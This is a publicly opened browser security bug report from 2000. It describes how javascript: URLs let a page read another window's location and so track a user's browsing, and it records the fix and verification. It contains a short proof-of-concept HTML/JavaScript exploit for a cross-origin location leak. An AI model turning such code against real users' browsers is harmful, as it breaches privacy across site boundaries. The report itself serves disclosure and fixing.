38178 - javascript: URLs allow tracking user's browsing

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[Mitchell Stoltz (not reading bugmail)]

Subject: 
          BUG: javascript: URLs allow tracking user's browsing
    Date: 
          Wed, 03 May 2000 17:29:33 +0300
   From: 
          Georgi Guninski <[e-mail]>
      To: 
          Norris Boyd <[e-mail]>



There is a bug in javascript: urls and/or window.location which allow
tracking user's browsing.
The code is:
-------------------------------------------
<SCRIPT>
a=window.open("http://www.yahoo.com");
</SCRIPT>
<A
HREF="javascript:a.location='javascript:opener.loc=
window.location;void(0)';setTimeout('alert(window.loc);',1000);void(0);">Click
here to see the location of the other window</A>
</HTML>
-------------------------------------------

Comment 1

[Mitchell Stoltz (not reading bugmail)]

Attachment: Created a testcase

Comment 2

[Mitchell Stoltz (not reading bugmail)]

Problems with the trust boundary for javscript: URLs. Marking M17.

Comment 3

[John Unruh]

Assigning QA to czhang

Comment 4

[Mitchell Stoltz (not reading bugmail)]

Fixed with JS URL patch. Marking Fixed, but let's watch this one for
regressions. As with many of these bugs, fixing bug 28443, the safe default for
DOM properties, will provide an extra measure of confidence about this bug.

Comment 5

[cathy zhang]

verified.

Comment 6

[Mitchell Stoltz (not reading bugmail)]

Opening fixed security bugs to the public.